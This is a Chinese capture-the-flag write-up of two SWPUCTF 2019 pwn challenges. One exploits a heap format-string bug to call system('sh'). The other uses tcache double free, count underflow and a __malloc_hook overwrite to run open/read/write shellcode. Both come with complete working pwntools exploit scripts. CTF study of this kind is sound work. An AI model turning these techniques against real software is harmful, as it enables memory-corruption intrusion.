MENU

SWPUCTF_2019 Pwn Writeup

December 5, 2020 • Read: 446 • Pwn

因为明天就是SWPUCTF2020了,所以今天看看去年的题目。
在buuoj上面搜到两道去年的题目:
1.SWPUCTF_2019_p1KkHeap(tcache attack)
2.SWPUCTF_2019_login(堆上的格式化字符串漏洞)
第一题是tcache利用,是我没学过的知识点,打算等一下再研究。
所以我先看了第二题,是一个在堆上的格式化字符串漏洞,且可以多次利用,利用方法就是通过栈上已有的地址来控制任意写。


SWPUCTF_2019_login

利用思路:
1.命名在栈上的四个指针分别为:ptr1, ptr2,ptr3,ptr4
2.其满足条件 *ptr1 == ptr2 && *ptr2 == ptr3 && ptr3 + (2 * 4) == ptr4
2.利用ptr1和格式化字符串漏洞改写ptr2,因为似乎只能用%hhn来改写,所以这里只改写末位,指向ptr3。
3.ptr3是上上层的调用(call)返回地址,利用2的漏洞方法,多次写入ptr3的内容。
4.ptr4是ptr3 + 8,也就是返回时传入ptr3的第一个参数,我们这里修改ptr3为system,修改ptr4为内容为sh的地址。
5.ptr4可以修改为写入堆中的地址,这里有两个可以选择,一个是初始进入时候让我们输入的name的那块地址,另一个是读入格式化字符串到堆上的地址。
6.退出的时候执行 system(sh)。

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./SWPUCTF_2019_login')
r = remote('node3.buuoj.cn', 28734)
elf = ELF('./SWPUCTF_2019_login')
context.log_level = "debug"

def getVal(x):
    r.sendlineafter("Try again!", "%" + str(x) + "$p")
    r.recvuntil('0x')
    return int(r.recvuntil('\n', drop=True), 16)

def write(ret_addr, arg):
    cnt = 0
    t = ret_addr
    while t > 0:
        part = t % 0x100
        r.sendlineafter("Try again!", '%' + str(main_stack % 0x100 + cnt) + "c%6$hhn")
        r.sendlineafter("Try again!", '%' + str(part) + "c%10$hhn")
        t /= 0x100
        cnt += 1
    cnt = 8
    t = arg
    while t > 0:
        part = t % 0x100
        r.sendlineafter("Try again!", '%' + str(main_stack % 0x100 + cnt) + "c%6$hhn")
        r.sendlineafter("Try again!", '%' + str(part) + "c%10$hhn")
        t /= 0x100
        cnt += 1

r.sendlineafter("Please input your name: ", "sh\x00")
r.sendlineafter("Please input your password: ", "1")
libc_start_main_addr = getVal(15) - 0xF1
#libc_start_main_addr = getVal(15) - 0xF7
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
main_stack = getVal(6) + 0x4
name_chunk = 0x804B080
write(system_addr, name_chunk)
r.sendlineafter("Try again!", "wllmmllw")
r.interactive()

SWPUCTF_2019_p1KkHeap

题目限制:
1.只能free 3次
2.只能申请小于0x100的chunk
3.任何操作只能操作0x12次。
4.禁用system等操作函数。
5.只能malloc 7次。

利用方法:
1.tcache leak heap address,用于计算出tcache结构对应的表头指针位置。
2.unsorted bin leak,用于计算出__malloc_hook的位置
3.把shellcode写入0x66660000,利用open,read,write输出。
4.改写__malloc_hook为shellcode的位置(0x66660000)。

这里可以学到的操作:

1.无法有足够的条件填充tcache的时候该怎么办?
我们知道,当chunk在tcache范围且tcache没有full(< 7),free一个chunk就会优先进入tcache。
但是这道题就是最多只能free 3次,所以就不够用了。
这个解决方法是要利用tcache未对counts进行严格的判定,可以造成下溢出。
当tcache double free的时候,可以多次申请malloc(循环申请)。
这时候每申请一次,对应记录成员数(counts[idx])的位置就会-1。
所以double free之后,再malloc三次,其内容就会从原来的0x2变成0x2 - 0x3 = -1(0xFF),从而造成下溢出,在与7比较的时候,会转换为一个无符号类型,就会变成一个很大的数字。
这时候我们再free的时候,程序判断tcache是否full,就会导致判定得到full,从而跳过了tcache。

2.double free只能写入一次数据怎么办?
我们知道在fastbin中,如果double free修改过一次fd指针,那么这个循环的单向链表就不存在了(只能利用一次)。
我们一般的解决方法是利用两个fastbin double free。
tcache的机制也和fastbin很相似,但是有个更简单的方法达成多次任意写。
那就是,利用修改tcache结构tcache_perthread_struct中的entries[idx],这个所代表的意义就是链表的头部,每次申请的时候都会从头部申请出chunk,我们利用tcache attack攻击这个位置,这样就可以控制每一次malloc出来的内容了。
而且,tcache 在malloc的时候不检测size的内容是否正确,这一点与fastbin不同(用安全性来换取了速度)
所以当我们控制了这个位置,那么就是可以写入内存中的任意位置,而且没有任何限制,可谓是非常强大啊。

3.禁用了system等操作函数怎么办?
利用open,read,write来直接操作flag文件。
1.open("flag")
2.read(x, buf, len)
3.write(1, buf, len)
其中在2中的x为open的返回值,可以由调试可知;如果在此之前没有open过其他内容,那么一般是3(stdin,stdout,stderr用了前三个)。
buf位置只要是内存中任意有rw权限的位置即可。
这个shellcode手动来写是比较麻烦的,不过我们可以利用shellcraft中的模块来直接生成,看下面exp。
由于这个shellcode是用syscall来调用的,所以不需要libc基址。
一般来说,这种在程序中有RWX是比较少见的,这种时候就需要想办法手动构造ROP链,按照上述顺序调用。

from pwn import *
#r = process('./SWPUCTF_2019_p1KkHeap')
r = remote('node3.buuoj.cn', 28542)
context(log_level = "debug", arch = "amd64", os = "linux")
def choice(idx):
    r.sendlineafter("Your Choice: ", str(idx))

def add_note(size):
    choice(1)
    r.sendlineafter("size: ", str(size))

def show_note(idx):
    choice(2)
    r.sendlineafter("id: ", str(idx))

def edit_note(idx, content):
    choice(3)
    r.sendlineafter("id: ", str(idx))
    r.sendlineafter("content: ", content)

def delete_note(idx):
    choice(4)
    r.sendlineafter("id: ", str(idx))

add_note(0x88) #0
add_note(0x18) #1

#double free
delete_note(0)
delete_note(0)

add_note(0x88) #2
#leak heap1
show_note(0)
heap1_addr = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00'))
log.success("heap1_addr: " + hex(heap1_addr))
attack_addr = heap1_addr - (heap1_addr % 0x1000) + 0x88
log.success("attack_addr: " + hex(attack_addr))

#tcache attack
edit_note(2, p64(attack_addr))

#unsorted bin leak
add_note(0x88) #3
add_note(0x88) #4
delete_note(0) #0
show_note(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
#libc = LibcSearcher("__malloc_hook", malloc_hook_addr)
#libc_base = malloc_hook_addr - libc.dump('__malloc_hook')

#write shellcode
shellcode_addr = 0x66660000
edit_note(4, p64(shellcode_addr))
add_note(0x88) #5
shellcode = shellcraft.open("flag")
shellcode += shellcraft.read(3, shellcode_addr + 0x300, 0x40)
shellcode += shellcraft.write(1, shellcode_addr + 0x300, 0x40)
edit_note(5, asm(shellcode))

#change __malloc_hook
edit_note(4, p64(malloc_hook_addr))
add_note(0x88) #6
edit_note(6, p64(shellcode_addr))

#exec
add_note(0x88)
r.interactive()
Last Modified: December 7, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code